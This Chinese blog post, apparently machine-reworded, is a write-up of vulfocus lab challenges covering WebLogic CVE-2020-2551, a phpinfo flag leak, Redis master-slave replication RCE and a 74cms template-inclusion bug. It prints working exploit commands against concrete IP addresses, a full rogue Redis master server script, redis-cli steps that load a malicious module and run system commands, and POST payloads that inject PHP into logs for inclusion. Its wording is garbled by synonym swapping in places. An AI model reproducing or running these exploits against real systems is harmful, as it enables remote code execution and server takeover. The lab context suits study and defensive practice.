首页 » 网站建设 » 攻防世界phprce技巧_FOFA攻防寻衅

攻防世界phprce技巧_FOFA攻防寻衅

访客 2024-11-14 0

扫一扫用手机浏览

文章目录 [+]

  辉煌一刻谁都有,别拿一刻当永久

  在昨天初尝战果之后,本日又习气性的打开 https://vulfocus.cn/ 创造本日还有寻衅赛,按捺不住躁动的心,又开始了学习。
今天主要拿下的是这四个镜像,同时我也会对我理解的漏洞详情做一个详细的剖析

攻防世界phprce技巧_FOFA攻防寻衅

weblogci CVE_2020_2551

  我们看到了对应的端口有 7001

攻防世界phprce技巧_FOFA攻防寻衅
(图片来自网络侵删)

  看到熟习的界面以及之前察觉的端口信息,觉得有可能是 weblogic ,加上路径 console 查看一下,是 weblogic 10.3.6.0

  weblogic 存在的漏洞太多了,以是我们直接上漏洞扫描工具

  看到了漏洞对应的编号,以及存在的回显链路

phpinfo 信息透露

  打开界面便是一个 phpinfo

  考试测验了扫路径,查 phpinfo 漏洞的操作无果后,于是直接在页面上查找关键词 flag

  轻易就查询到了 flag 的值,这个题目给 5 分 我是没有想到的

【----帮助网安学习,以下所有学习资料关注我,私信回答“资料”获取----】

 ① 网安学习发展路径思维导图

 ② 60+网安经典常用工具包

 ③ 100+SRC漏洞剖析报告

 ④ 150+网安攻防实战技能电子书

 ⑤ 最威信CISSP 认证考试指南+题库

 ⑥ 超1800页CTF实战技巧手册

 ⑦ 最新网安大厂口试题合集(含答案)

 ⑧ APP客户端安全检测指南(安卓+IOS)

Redis 未授权访问漏洞

  一看对应映射的端口是 6379 立马就遐想到了 Redis,同时这个端口无法从 web 端进行访问,以是基本可以肯定是 Redis 了

  把稳到版本是 4.0.14

  针对付 Redis 未授权访问漏洞,有以下利用方法

利用 Redis 写入webshell写 ssh-keygen 公钥登录做事器利用操持任务反弹shell利用主从复制获取shell

  这里我们选用 主从复制漏洞来获取shell

  在做事器上操作(本日借到了做事器)

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.gitcd RedisModules-ExecuteCommand/make# 天生 /RedisModules-ExecuteCommand/src/module.socd ..git clone https://github.com/Ridter/redis-rce.gitcd redis-rce/cp ../RedisModules-ExecuteCommand/src/module.so ./pip install -r requirements.txtpython redis-rce.py -r 123.58.236.76 -p 57119 -L 43.142.138.251 -f module.so

利用主从复制获取shell

  Redis是一个利用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。
但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,做事端就很难承受。
为了应对这种情形,Redis就供应了主从模式,主从模式便是指利用一个redis实例作为主机,其他实例都作为备份机,个中主机和从机数据相同,而从机只卖力读,主机只卖力写,通过读写分离可以大幅度减轻流量的压力,算是一种通过捐躯空间来换取效率的缓解办法。

  在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C措辞编译并加载恶意的.so文件,达到代码实行的目的。

Linux

  在本机上弄的时候涌现各种各样的奇葩的问题,给我整破防了,末了我采取了 docker 来进行复现。
复现不同的利用都删掉 docker ,重启连续进行。
末了创造主从复制的利用版本是 4.x-5.x,从 6.0开始,就无法利用成功,写入exp.so 也是可以的,module 加载时会失落败,提示没有权限,给 exp.so 权限后时可以的。

sudo docker pull vertigo/redis4sudo docker run -p 6379:6379 vertigo/redis4redis-rce

  redis-rce

  天生恶意.so文件,下载RedisModules-ExecuteCommand利用make编译即可天生

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.gitcd RedisModules-ExecuteCommand/make# 天生 /RedisModules-ExecuteCommand/src/module.socd ..git clone https://github.com/Ridter/redis-rce.gitcd redis-rce/cp ../RedisModules-ExecuteCommand/src/module.so ./pip install -r requirements.txtpython redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so

redis-rogue-server

  redis-rogue-server

git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-servepython3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1Redis主从复制手动挡

import socketfrom time import sleepfrom optparse import OptionParserdef RogueServer(lport): resp = "" sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(("0.0.0.0",lport)) sock.listen(10) conn,address = sock.accept() sleep(5) while True: data = conn.recv(1024) if "PING" in data: resp="+PONG"+CLRF conn.send(resp) elif "REPLCONF" in data: resp="+OK"+CLRF conn.send(resp) elif "PSYNC" in data or "SYNC" in data: resp = "+FULLRESYNC " + "Z"40 + " 1" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() if type(resp) != bytes: resp =resp.encode() conn.send(resp) #elif "exit" in data: breakif __name__=="__main__": parser = OptionParser() parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT") parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE") (options , args )= parser.parse_args() lport = options.lp exp_filename = options.exp CLRF="\r\n" payload=open(exp_filename,"rb").read() print "Start listing on port: %s" %lport print "Load the payload: %s" %exp_filename RogueServer(lport)

redis-cli -h 192.168.10.187> ping> config set dir ./ # 设置redis的备份路径为当前目录> config set dbfilename exp.so # 设置备份文件名为exp.so,默认为dump.rdb> slaveof 192.168.10.1 9999 # 设置主理事器IP和端口> module load ./exp.so # 加载恶意模块> slaveof no one # 割断主从,关闭复制功能> system.exec 'whoami' # 实行系统命令> config set dbfilename dump.rdb # 通过dump.rdb文件规复数据> system.exec 'rm ./exp.so' # 删除exp.so> module unload system # 卸载system模块的加载

windows

  Redis 官方没有供应 windows 版的安装包,windows 下利用的 Redis 还是 3.X 版本的。
redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的DLL、EXE、LINK 等文件,以是 对 Windows 下的 redis 的利用方法紧张是往 web 目录写马以及写启动项。

RedisWriteFile

  RedisWriteFile 利用Redis的主从同步写数据,脚本将自己仿照为master,设置对端为slave, master 数据空间担保绝对干净,轻松实现了写无损文件。

  参考文章 对 Redis 在 Windows 下的利用办法思考 踩坑记录-Redis(Windows)的getshell可以利用以下办法

系统 DLL挟制 (目标重启或注销)针对特定软件的 DLL 挟制(目标一次点击)覆写目标的快捷办法 (目标一次点击)覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)覆写 sethc.exe 等文件 (攻击方一次触发)mof 等

  由于对这些暂时还没有研究,以是在这里只演示以下,在 windows redis 写无损文件

python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]python3 RedisWriteFile.py --rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1 --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt" --lfile="test.txt"

  哇,这个无损写文件真是 yyds,在 linux 下利用也是没有一点问题。

骑士cms 存在模板解析漏洞

  打开页面便是 骑士cms,想到了骑士 cms 的历史漏洞 文件包含漏洞(thinkphp3 的文件包含)

  这样操作

http://74cms.test/index.php?m=home&c=index&a=assign_resume_tplPOST:variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>http://74cms.test/index.php?m=home&c=index&a=assign_resume_tplPOST:variable=1&tpl=data/Runtime/Logs/Home/22_06_28.log

  漏洞的事理紧张是通过将代码通过报错信息写到日志文件中,再利用文件包含实当代码实行。

标签:

相关文章

php为无色透明技巧_水货钻石其实也还行

从各种钻石中,可以看到大大小小的“包裹体” 图片来源:参考文献包裹体的种类多样。比钻石形成更早的包裹体,叫“原生包裹体”;与钻石同...

网站建设 2024-12-19 阅读1 评论0

phpstudy发送gbk技巧_php的文件上传

这里首先声明一下这一章的内容比较多,比较难,你要抱着和自己去世磕的态度。细微之处不放过,多敲多练是王道。 学习就像爬山,得一步一步...

网站建设 2024-12-19 阅读0 评论0